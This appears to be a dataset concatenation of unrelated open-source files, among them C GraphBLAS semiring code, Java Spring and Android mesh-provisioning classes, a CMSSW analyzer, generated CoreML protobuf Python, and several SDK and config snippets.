case GB_EQ_binop_code : return (GxB_EQ_LT_BOOL ) ;
case GB_ANY_binop_code : return (GxB_ANY_LT_BOOL ) ;
default : ;
}
break ;
case GB_GE_binop_code :
switch (add_binop_code)
{
case GB_LOR_binop_code : return (GxB_LOR_GE_BOOL ) ;
case GB_LAND_binop_code : return (GxB_LAND_GE_BOOL) ;
case GB_LXOR_binop_code : return (GxB_LXOR_GE_BOOL) ;
case GB_EQ_binop_code : return (GxB_EQ_GE_BOOL ) ;
case GB_ANY_binop_code : return (GxB_ANY_GE_BOOL ) ;
default : ;
}
break ;
case GB_LE_binop_code :
switch (add_binop_code)
{
case GB_LOR_binop_code : return (GxB_LOR_LE_BOOL ) ;
case GB_LAND_binop_code : return (GxB_LAND_LE_BOOL) ;
case GB_LXOR_binop_code : return (GxB_LXOR_LE_BOOL) ;
case GB_EQ_binop_code : return (GxB_EQ_LE_BOOL ) ;
case GB_ANY_binop_code : return (GxB_ANY_LE_BOOL ) ;
default : ;
}
break ;
default : ;
}
}
//--------------------------------------------------------------------------
// not a built-in semiring
//--------------------------------------------------------------------------
ERROR ("invalid semiring (not found)")
return (NULL) ;
}
| 126,396 |
505 | <gh_stars>100-1000
package de.rieckpil.blog;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import java.io.IOException;
@RestController
@RequestMapping("/files")
public class FileHandlingController {
@GetMapping
public ResponseEntity<byte[]> download() throws IOException {
byte[] pdfContent = this.getClass().getResourceAsStream("/document.pdf").readAllBytes();
HttpHeaders header = new HttpHeaders();
header.setContentType(MediaType.APPLICATION_PDF);
header.setContentLength(pdfContent.length);
header.set("Content-Disposition", "attachment; filename=document.pdf");
return new ResponseEntity(pdfContent, header, HttpStatus.OK);
}
@PostMapping
public void upload(@RequestParam("file") MultipartFile multipartFile) throws IOException {
System.out.println("Uploaded new file");
System.out.println("Filename: " + multipartFile.getOriginalFilename());
System.out.println("Size: " + multipartFile.getSize());
byte[] content = multipartFile.getBytes();
}
}
| 388 |
852 | <reponame>malbouis/cmssw
// -*- C++ -*-
//
// Author: <NAME>
//
// system include files
#include <memory>
#include <iostream>
// user include files
#include "FWCore/Framework/interface/Frameworkfwd.h"
#include "FWCore/Framework/interface/one/EDAnalyzer.h"
#include "FWCore/Framework/interface/Event.h"
#include "FWCore/Framework/interface/MakerMacros.h"
#include "FWCore/Framework/interface/EventSetup.h"
#include "FWCore/ParameterSet/interface/ParameterSet.h"
#include "FWCore/Framework/interface/ESHandle.h"
#include "CondFormats/JetMETObjects/interface/JetResolutionObject.h"
#include "CondFormats/DataRecord/interface/JetResolutionRcd.h"
#include "CondFormats/DataRecord/interface/JetResolutionScaleFactorRcd.h"
//
// class declaration
//
class JetResolutionDBReader : public edm::one::EDAnalyzer<> {
public:
explicit JetResolutionDBReader(const edm::ParameterSet&);
~JetResolutionDBReader() override;
private:
void beginJob() override;
void analyze(const edm::Event&, const edm::EventSetup&) override;
void endJob() override;
std::string m_era;
std::string m_label;
edm::ESGetToken<JME::JetResolutionObject, JetResolutionRcd> m_token;
bool m_save_file;
bool m_print;
};
class JetResolutionScaleFactorDBReader : public edm::one::EDAnalyzer<> {
public:
explicit JetResolutionScaleFactorDBReader(const edm::ParameterSet&);
private:
void analyze(const edm::Event&, const edm::EventSetup&) override;
std::string m_era;
std::string m_label;
edm::ESGetToken<JME::JetResolutionObject, JetResolutionScaleFactorRcd> m_token;
bool m_save_file;
bool m_print;
};
JetResolutionDBReader::JetResolutionDBReader(const edm::ParameterSet& iConfig) {
m_era = iConfig.getUntrackedParameter<std::string>("era");
m_label = iConfig.getUntrackedParameter<std::string>("label");
m_token = esConsumes(edm::ESInputTag("", m_label));
m_print = iConfig.getUntrackedParameter<bool>("dump", true);
m_save_file = iConfig.getUntrackedParameter<bool>("saveFile", false);
}
JetResolutionDBReader::~JetResolutionDBReader() {}
void JetResolutionDBReader::analyze(const edm::Event& iEvent, const edm::EventSetup& iSetup) {
std::cout << "Inspecting JER payload for label: " << m_label << std::endl;
auto jerObjectHandle = iSetup.getTransientHandle(m_token);
if (m_print) {
jerObjectHandle->dump();
}
if (m_save_file) {
std::string f = m_era + "_" + m_label + ".txt";
jerObjectHandle->saveToFile(f);
std::cout << "JER payload saved as " << f << std::endl;
}
}
void JetResolutionDBReader::beginJob() {}
void JetResolutionDBReader::endJob() {}
JetResolutionScaleFactorDBReader::JetResolutionScaleFactorDBReader(const edm::ParameterSet& iConfig) {
m_era = iConfig.getUntrackedParameter<std::string>("era");
m_label = iConfig.getUntrackedParameter<std::string>("label");
m_token = esConsumes(edm::ESInputTag("", m_label));
m_print = iConfig.getUntrackedParameter<bool>("dump", true);
m_save_file = iConfig.getUntrackedParameter<bool>("saveFile", false);
}
void JetResolutionScaleFactorDBReader::analyze(const edm::Event& iEvent, const edm::EventSetup& iSetup) {
std::cout << "Inspecting JER SF payload for label: " << m_label << std::endl;
auto jerObjectHandle = iSetup.getTransientHandle(m_token);
if (m_print) {
jerObjectHandle->dump();
}
if (m_save_file) {
std::string f = m_era + "_" + m_label + ".txt";
jerObjectHandle->saveToFile(f);
std::cout << "JER SF payload saved as " << f << std::endl;
}
}
//define this as a plug-in
DEFINE_FWK_MODULE(JetResolutionDBReader);
DEFINE_FWK_MODULE(JetResolutionScaleFactorDBReader);
| 1,285 |
1,350 | // Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
// Code generated by Microsoft (R) AutoRest Code Generator.
package com.azure.resourcemanager.avs.generated;
import com.azure.core.util.Context;
/** Samples for PrivateClouds ListByResourceGroup. */
public final class PrivateCloudsListByResourceGroupSamples {
/*
* x-ms-original-file: specification/vmware/resource-manager/Microsoft.AVS/stable/2021-12-01/examples/PrivateClouds_List.json
*/
/**
* Sample code: PrivateClouds_List.
*
* @param manager Entry point to AvsManager.
*/
public static void privateCloudsList(com.azure.resourcemanager.avs.AvsManager manager) {
manager.privateClouds().listByResourceGroup("group1", Context.NONE);
}
/*
* x-ms-original-file: specification/vmware/resource-manager/Microsoft.AVS/stable/2021-12-01/examples/PrivateClouds_List_Stretched.json
*/
/**
* Sample code: PrivateClouds_List_Stretched.
*
* @param manager Entry point to AvsManager.
*/
public static void privateCloudsListStretched(com.azure.resourcemanager.avs.AvsManager manager) {
manager.privateClouds().listByResourceGroup("group1", Context.NONE);
}
}
| 438 |
12,940 | <reponame>dciborow/azure-quickstart-templates<gh_stars>1000+
{
"$schema": "https://aka.ms/azure-quickstart-templates-metadata-schema#",
"type": "QuickStart",
"itemDisplayName": "Multi tier App with NSG, ILB, AppGateway",
"description": "This template deploys a Virtual Network, segregates the network through subnets, deploys VMs and configures load balancing",
"summary": "Multi tier service with App Gateway, NSg and ILB",
"githubUsername": "NarayanAnnamalai",
"dateUpdated": "2021-05-14"
} | 168 |
1,150 | package io.confluent.kpay.model;
public class Target {
}
| 20 |
1,463 | import sys
from queens import main
main()
| 18 |
5,169 | <gh_stars>1000+
{
"name": "LPCarouselView",
"version": "1.2.4",
"summary": "Carousel auto scroll view with pageControl which is based on UICollectionView",
"description": "Carousel auto scroll view with pageControl which is based on UICollectionView and SDWebImage with http/https supports",
"homepage": "https://github.com/litt1e-p/LPCarouselView",
"license": {
"type": "MIT"
},
"authors": {
"litt1e-p": "<EMAIL>"
},
"source": {
"git": "https://github.com/litt1e-p/LPCarouselView.git",
"tag": "1.2.4"
},
"platforms": {
"ios": "7.0"
},
"requires_arc": true,
"source_files": "LPCarouselView/*",
"dependencies": {
"SDWebImage": [
"~> 3.7.5"
]
},
"frameworks": [
"Foundation",
"UIKit"
]
}
| 327 |
336 | <reponame>tomwei7/LA104<filename>system/apps_experiments/78_uartgen/main.cpp<gh_stars>100-1000
#include <library.h>
using namespace BIOS;
void UartWrite(const uint8_t* data, int len)
{
DBG::Print("{%d", len);
// while (len--)
for (int i=0; i<len; i++)
BIOS::GPIO::UART::Write(data[i]);
DBG::Print("}");
}
void Init()
{
BIOS::GPIO::PinMode(BIOS::GPIO::P1, BIOS::GPIO::Uart);
BIOS::GPIO::PinMode(BIOS::GPIO::P2, BIOS::GPIO::Uart);
BIOS::GPIO::UART::Setup(38400, BIOS::GPIO::UART::length8);
// GPIO::UART::Setup(19200, GPIO::UART::EConfig(GPIO::UART::length8 | GPIO::UART::parityEven | GPIO::UART::stopBits1));
}
#ifdef _ARM
__attribute__((__section__(".entry")))
#endif
int _main(void)
{
LCD::Clear(RGB565(404040));
Init();
KEY::EKey key;
while ((key = KEY::GetKey()) != KEY::EKey::Escape)
{
EVERY(200)
{
DBG::Print(".");
uint8_t data[] = {0xaa, 0x55, 0x0f, 0x81, 0x11, 0x00, 0x00};
UartWrite(data, COUNT(data));
}
}
return 0;
}
| 463 |
11,356 | <gh_stars>1000+
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: GLMClassifier.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
from google.protobuf import descriptor_pb2
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
from . import DataStructures_pb2 as DataStructures__pb2
try:
FeatureTypes__pb2 = DataStructures__pb2.FeatureTypes__pb2
except AttributeError:
FeatureTypes__pb2 = DataStructures__pb2.FeatureTypes_pb2
from .DataStructures_pb2 import *
DESCRIPTOR = _descriptor.FileDescriptor(
name='GLMClassifier.proto',
package='CoreML.Specification',
syntax='proto3',
serialized_pb=_b('\n\x13GLMClassifier.proto\x12\x14\x43oreML.Specification\x1a\x14\x44\x61taStructures.proto\"\x9c\x04\n\rGLMClassifier\x12@\n\x07weights\x18\x01 \x03(\x0b\x32/.CoreML.Specification.GLMClassifier.DoubleArray\x12\x0e\n\x06offset\x18\x02 \x03(\x01\x12\\\n\x17postEvaluationTransform\x18\x03 \x01(\x0e\x32;.CoreML.Specification.GLMClassifier.PostEvaluationTransform\x12H\n\rclassEncoding\x18\x04 \x01(\x0e\x32\x31.CoreML.Specification.GLMClassifier.ClassEncoding\x12?\n\x11stringClassLabels\x18\x64 \x01(\x0b\x32\".CoreML.Specification.StringVectorH\x00\x12=\n\x10int64ClassLabels\x18\x65 \x01(\x0b\x32!.CoreML.Specification.Int64VectorH\x00\x1a\x1c\n\x0b\x44oubleArray\x12\r\n\x05value\x18\x01 \x03(\x01\"0\n\x17PostEvaluationTransform\x12\t\n\x05Logit\x10\x00\x12\n\n\x06Probit\x10\x01\"2\n\rClassEncoding\x12\x12\n\x0eReferenceClass\x10\x00\x12\r\n\tOneVsRest\x10\x01\x42\r\n\x0b\x43lassLabelsB\x02H\x03P\x00\x62\x06proto3')
,
dependencies=[DataStructures__pb2.DESCRIPTOR,],
public_dependencies=[DataStructures__pb2.DESCRIPTOR,])
_GLMCLASSIFIER_POSTEVALUATIONTRANSFORM = _descriptor.EnumDescriptor(
name='PostEvaluationTransform',
full_name='CoreML.Specification.GLMClassifier.PostEvaluationTransform',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='Logit', index=0, number=0,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='Probit', index=1, number=1,
options=None,
type=None),
],
containing_type=None,
options=None,
serialized_start=493,
serialized_end=541,
)
_sym_db.RegisterEnumDescriptor(_GLMCLASSIFIER_POSTEVALUATIONTRANSFORM)
_GLMCLASSIFIER_CLASSENCODING = _descriptor.EnumDescriptor(
name='ClassEncoding',
full_name='CoreML.Specification.GLMClassifier.ClassEncoding',
filename=None,
file=DESCRIPTOR,
values=[
_descriptor.EnumValueDescriptor(
name='ReferenceClass', index=0, number=0,
options=None,
type=None),
_descriptor.EnumValueDescriptor(
name='OneVsRest', index=1, number=1,
options=None,
type=None),
],
containing_type=None,
options=None,
serialized_start=543,
serialized_end=593,
)
_sym_db.RegisterEnumDescriptor(_GLMCLASSIFIER_CLASSENCODING)
_GLMCLASSIFIER_DOUBLEARRAY = _descriptor.Descriptor(
name='DoubleArray',
full_name='CoreML.Specification.GLMClassifier.DoubleArray',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='value', full_name='CoreML.Specification.GLMClassifier.DoubleArray.value', index=0,
number=1, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[],
enum_types=[
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=463,
serialized_end=491,
)
_GLMCLASSIFIER = _descriptor.Descriptor(
name='GLMClassifier',
full_name='CoreML.Specification.GLMClassifier',
filename=None,
file=DESCRIPTOR,
containing_type=None,
fields=[
_descriptor.FieldDescriptor(
name='weights', full_name='CoreML.Specification.GLMClassifier.weights', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='offset', full_name='CoreML.Specification.GLMClassifier.offset', index=1,
number=2, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='postEvaluationTransform', full_name='CoreML.Specification.GLMClassifier.postEvaluationTransform', index=2,
number=3, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='classEncoding', full_name='CoreML.Specification.GLMClassifier.classEncoding', index=3,
number=4, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='stringClassLabels', full_name='CoreML.Specification.GLMClassifier.stringClassLabels', index=4,
number=100, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
_descriptor.FieldDescriptor(
name='int64ClassLabels', full_name='CoreML.Specification.GLMClassifier.int64ClassLabels', index=5,
number=101, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
options=None),
],
extensions=[
],
nested_types=[_GLMCLASSIFIER_DOUBLEARRAY, ],
enum_types=[
_GLMCLASSIFIER_POSTEVALUATIONTRANSFORM,
_GLMCLASSIFIER_CLASSENCODING,
],
options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='ClassLabels', full_name='CoreML.Specification.GLMClassifier.ClassLabels',
index=0, containing_type=None, fields=[]),
],
serialized_start=68,
serialized_end=608,
)
_GLMCLASSIFIER_DOUBLEARRAY.containing_type = _GLMCLASSIFIER
_GLMCLASSIFIER.fields_by_name['weights'].message_type = _GLMCLASSIFIER_DOUBLEARRAY
_GLMCLASSIFIER.fields_by_name['postEvaluationTransform'].enum_type = _GLMCLASSIFIER_POSTEVALUATIONTRANSFORM
_GLMCLASSIFIER.fields_by_name['classEncoding'].enum_type = _GLMCLASSIFIER_CLASSENCODING
_GLMCLASSIFIER.fields_by_name['stringClassLabels'].message_type = DataStructures__pb2._STRINGVECTOR
_GLMCLASSIFIER.fields_by_name['int64ClassLabels'].message_type = DataStructures__pb2._INT64VECTOR
_GLMCLASSIFIER_POSTEVALUATIONTRANSFORM.containing_type = _GLMCLASSIFIER
_GLMCLASSIFIER_CLASSENCODING.containing_type = _GLMCLASSIFIER
_GLMCLASSIFIER.oneofs_by_name['ClassLabels'].fields.append(
_GLMCLASSIFIER.fields_by_name['stringClassLabels'])
_GLMCLASSIFIER.fields_by_name['stringClassLabels'].containing_oneof = _GLMCLASSIFIER.oneofs_by_name['ClassLabels']
_GLMCLASSIFIER.oneofs_by_name['ClassLabels'].fields.append(
_GLMCLASSIFIER.fields_by_name['int64ClassLabels'])
_GLMCLASSIFIER.fields_by_name['int64ClassLabels'].containing_oneof = _GLMCLASSIFIER.oneofs_by_name['ClassLabels']
DESCRIPTOR.message_types_by_name['GLMClassifier'] = _GLMCLASSIFIER
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
GLMClassifier = _reflection.GeneratedProtocolMessageType('GLMClassifier', (_message.Message,), dict(
DoubleArray = _reflection.GeneratedProtocolMessageType('DoubleArray', (_message.Message,), dict(
DESCRIPTOR = _GLMCLASSIFIER_DOUBLEARRAY,
__module__ = 'GLMClassifier_pb2'
# @@protoc_insertion_point(class_scope:CoreML.Specification.GLMClassifier.DoubleArray)
))
,
DESCRIPTOR = _GLMCLASSIFIER,
__module__ = 'GLMClassifier_pb2'
# @@protoc_insertion_point(class_scope:CoreML.Specification.GLMClassifier)
))
_sym_db.RegisterMessage(GLMClassifier)
_sym_db.RegisterMessage(GLMClassifier.DoubleArray)
DESCRIPTOR.has_options = True
DESCRIPTOR._options = _descriptor._ParseOptions(descriptor_pb2.FileOptions(), _b('H\003'))
# @@protoc_insertion_point(module_scope)
| 3,554 |
1,530 | /*
* This file is part of ClassGraph.
*
* Author: <NAME>
*
* Hosted at: https://github.com/classgraph/classgraph
*
* --
*
* The MIT License (MIT)
*
* Copyright (c) 2019 <NAME>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
* documentation files (the "Software"), to deal in the Software without restriction, including without
* limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so, subject to the following
* conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or substantial
* portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT
* LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO
* EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
* AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE
* OR OTHER DEALINGS IN THE SOFTWARE.
*/
package nonapi.io.github.classgraph.utils;
import java.util.Collections;
import java.util.Comparator;
import java.util.ConcurrentModificationException;
import java.util.List;
/**
* Collection utilities.
*/
public final class CollectionUtils {
/** Class can't be constructed. */
private CollectionUtils() {
// Empty
}
/**
* Sort a collection if it is not empty (to prevent {@link ConcurrentModificationException} if an immutable
* empty list that has been returned more than once is being sorted in one thread and iterated through in
* another thread -- #334).
*
* @param <T>
* the element type
* @param list
* the list
*/
public static <T extends Comparable<? super T>> void sortIfNotEmpty(final List<T> list) {
if (!list.isEmpty()) {
Collections.sort(list);
}
}
/**
* Sort a collection if it is not empty (to prevent {@link ConcurrentModificationException} if an immutable
* empty list that has been returned more than once is being sorted in one thread and iterated through in
* another thread -- #334).
*
* @param <T>
* the element type
* @param list
* the list
* @param comparator
* the comparator
*/
public static <T> void sortIfNotEmpty(final List<T> list, final Comparator<? super T> comparator) {
if (!list.isEmpty()) {
Collections.sort(list, comparator);
}
}
}
| 922 |
416 | /*
* Copyright (c) 2017-2018 THL A29 Limited, a Tencent company. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.tencentcloudapi.ccc.v20200210.models;
import com.tencentcloudapi.common.AbstractModel;
import com.google.gson.annotations.SerializedName;
import com.google.gson.annotations.Expose;
import java.util.HashMap;
public class StaffStatusExtra extends AbstractModel{
/**
* im - 文本 | tel - 电话 | all - 全媒体
*/
@SerializedName("Type")
@Expose
private String Type;
/**
* in - 呼入 | out - 呼出
*/
@SerializedName("Direct")
@Expose
private String Direct;
/**
* Get im - 文本 | tel - 电话 | all - 全媒体
* @return Type im - 文本 | tel - 电话 | all - 全媒体
*/
public String getType() {
return this.Type;
}
/**
* Set im - 文本 | tel - 电话 | all - 全媒体
* @param Type im - 文本 | tel - 电话 | all - 全媒体
*/
public void setType(String Type) {
this.Type = Type;
}
/**
* Get in - 呼入 | out - 呼出
* @return Direct in - 呼入 | out - 呼出
*/
public String getDirect() {
return this.Direct;
}
/**
* Set in - 呼入 | out - 呼出
* @param Direct in - 呼入 | out - 呼出
*/
public void setDirect(String Direct) {
this.Direct = Direct;
}
public StaffStatusExtra() {
}
/**
* NOTE: Any ambiguous key set via .set("AnyKey", "value") will be a shallow copy,
* and any explicit key, i.e Foo, set via .setFoo("value") will be a deep copy.
*/
public StaffStatusExtra(StaffStatusExtra source) {
if (source.Type != null) {
this.Type = new String(source.Type);
}
if (source.Direct != null) {
this.Direct = new String(source.Direct);
}
}
/**
* Internal implementation, normal users should not use it.
*/
public void toMap(HashMap<String, String> map, String prefix) {
this.setParamSimple(map, prefix + "Type", this.Type);
this.setParamSimple(map, prefix + "Direct", this.Direct);
}
}
| 1,087 |
14,668 | // Copyright 2020 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef ASH_CHILD_ACCOUNTS_PARENT_ACCESS_CONTROLLER_IMPL_H_
#define ASH_CHILD_ACCOUNTS_PARENT_ACCESS_CONTROLLER_IMPL_H_
#include <string>
#include "ash/login/ui/pin_request_view.h"
#include "ash/login/ui/pin_request_widget.h"
#include "ash/public/cpp/child_accounts/parent_access_controller.h"
#include "base/memory/weak_ptr.h"
#include "base/time/time.h"
#include "components/account_id/account_id.h"
#include "third_party/abseil-cpp/absl/types/optional.h"
namespace ash {
// Implementation of ParentAccessController. It serves as a single point of
// access for PIN requests regarding parent access. It takes care of showing and
// hiding the PIN UI, as well as logging usage metrics.
class ASH_EXPORT ParentAccessControllerImpl : public ParentAccessController,
public PinRequestView::Delegate {
public:
// Actions that originated in parent access dialog. These values are persisted
// to metrics. Entries should not be renumbered and numeric values should
// never be reused.
enum class UMAAction {
kValidationSuccess = 0,
kValidationError = 1,
kCanceledByUser = 2,
kGetHelp = 3,
kMaxValue = kGetHelp,
};
// Context in which parent access code was used. These values are persisted to
// metrics. Entries should not be reordered and numeric values should never be
// reused.
enum class UMAUsage {
kTimeLimits = 0,
kTimeChangeLoginScreen = 1,
kTimeChangeInSession = 2,
kTimezoneChange = 3,
kAddUserLoginScreen = 4,
kReauhLoginScreen = 5,
kMaxValue = kReauhLoginScreen,
};
// Result of the parent access code validation. These values are persisted to
// metrics. Entries should not be reordered and numeric values should never be
// reused.
enum class UMAValidationResult {
kValid = 0,
kInvalid = 1,
kNoConfig = 2,
kInternalError = 3,
kMaxValue = kInternalError,
};
// Histogram to log actions that originated in parent access dialog.
static constexpr char kUMAParentAccessCodeAction[] =
"Supervision.ParentAccessCode.Action";
// Histogram to log context in which parent access code was used.
static constexpr char kUMAParentAccessCodeUsage[] =
"Supervision.ParentAccessCode.Usage";
// Returns the name of the UMA histogram used to log parent access code
// validation result for a given |action|. If no |action| specified, returns
// the name of the aggregated histogram.
static std::string GetUMAParentCodeValidationResultHistorgam(
absl::optional<SupervisedAction> action);
ParentAccessControllerImpl();
ParentAccessControllerImpl(const ParentAccessControllerImpl&) = delete;
ParentAccessControllerImpl& operator=(const ParentAccessControllerImpl&) =
delete;
~ParentAccessControllerImpl() override;
// PinRequestView::Delegate:
PinRequestView::SubmissionResult OnPinSubmitted(
const std::string& pin) override;
void OnBack() override;
void OnHelp() override;
// ParentAccessController:
bool ShowWidget(const AccountId& child_account_id,
PinRequest::OnPinRequestDone on_exit_callback,
SupervisedAction action,
bool extra_dimmer,
base::Time validation_time) override;
private:
AccountId account_id_;
SupervisedAction action_ = SupervisedAction::kUnlockTimeLimits;
base::Time validation_time_;
base::WeakPtrFactory<ParentAccessControllerImpl> weak_factory_{this};
};
} // namespace ash
#endif // ASH_CHILD_ACCOUNTS_PARENT_ACCESS_CONTROLLER_IMPL_H_
| 1,232 |
315 | <gh_stars>100-1000
/*
* Copyright (c) 2018, Nordic Semiconductor
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
*
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this
* software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package no.nordicsemi.android.nrfmesh;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.MenuItem;
import android.view.View;
import com.google.android.material.snackbar.Snackbar;
import java.util.Locale;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.content.ContextCompat;
import androidx.lifecycle.ViewModelProvider;
import androidx.recyclerview.widget.LinearLayoutManager;
import androidx.recyclerview.widget.RecyclerView;
import dagger.hilt.android.AndroidEntryPoint;
import no.nordicsemi.android.mesh.ApplicationKey;
import no.nordicsemi.android.mesh.MeshNetwork;
import no.nordicsemi.android.mesh.Provisioner;
import no.nordicsemi.android.mesh.provisionerstates.ProvisioningCapabilities;
import no.nordicsemi.android.mesh.provisionerstates.ProvisioningFailedState;
import no.nordicsemi.android.mesh.provisionerstates.UnprovisionedMeshNode;
import no.nordicsemi.android.mesh.utils.AuthenticationOOBMethods;
import no.nordicsemi.android.mesh.utils.InputOOBAction;
import no.nordicsemi.android.mesh.utils.MeshParserUtils;
import no.nordicsemi.android.mesh.utils.OutputOOBAction;
import no.nordicsemi.android.mesh.utils.StaticOOBType;
import no.nordicsemi.android.nrfmesh.adapter.ExtendedBluetoothDevice;
import no.nordicsemi.android.nrfmesh.adapter.ProvisioningProgressAdapter;
import no.nordicsemi.android.nrfmesh.databinding.ActivityMeshProvisionerBinding;
import no.nordicsemi.android.nrfmesh.dialog.DialogFragmentAuthenticationInput;
import no.nordicsemi.android.nrfmesh.dialog.DialogFragmentConfigurationComplete;
import no.nordicsemi.android.nrfmesh.dialog.DialogFragmentProvisioningFailedError;
import no.nordicsemi.android.nrfmesh.dialog.DialogFragmentSelectOOBType;
import no.nordicsemi.android.nrfmesh.dialog.DialogFragmentUnicastAddress;
import no.nordicsemi.android.nrfmesh.keys.AppKeysActivity;
import no.nordicsemi.android.nrfmesh.node.dialog.DialogFragmentNodeName;
import no.nordicsemi.android.nrfmesh.utils.ProvisionerStates;
import no.nordicsemi.android.nrfmesh.utils.Utils;
import no.nordicsemi.android.nrfmesh.viewmodels.ProvisionerProgress;
import no.nordicsemi.android.nrfmesh.viewmodels.ProvisioningViewModel;
import static no.nordicsemi.android.nrfmesh.utils.Utils.RESULT_KEY;
@AndroidEntryPoint
public class ProvisioningActivity extends AppCompatActivity implements
DialogFragmentSelectOOBType.DialogFragmentSelectOOBTypeListener,
DialogFragmentAuthenticationInput.ProvisionerInputFragmentListener,
DialogFragmentNodeName.DialogFragmentNodeNameListener,
DialogFragmentUnicastAddress.DialogFragmentUnicastAddressListener,
DialogFragmentProvisioningFailedError.DialogFragmentProvisioningFailedErrorListener,
DialogFragmentConfigurationComplete.ConfigurationCompleteListener {
private static final String DIALOG_FRAGMENT_PROVISIONING_FAILED = "DIALOG_FRAGMENT_PROVISIONING_FAILED";
private static final String DIALOG_FRAGMENT_AUTH_INPUT_TAG = "DIALOG_FRAGMENT_AUTH_INPUT_TAG";
private static final String DIALOG_FRAGMENT_CONFIGURATION_STATUS = "DIALOG_FRAGMENT_CONFIGURATION_STATUS";
private ActivityMeshProvisionerBinding binding;
private ProvisioningViewModel mViewModel;
@Override
protected void onCreate(final Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
binding = ActivityMeshProvisionerBinding.inflate(getLayoutInflater());
setContentView(binding.getRoot());
mViewModel = new ViewModelProvider(this).get(ProvisioningViewModel.class);
final Intent intent = getIntent();
final ExtendedBluetoothDevice device = intent.getParcelableExtra(Utils.EXTRA_DEVICE);
final String deviceName = device.getName();
final String deviceAddress = device.getAddress();
setSupportActionBar(binding.toolbar);
getSupportActionBar().setTitle(deviceName);
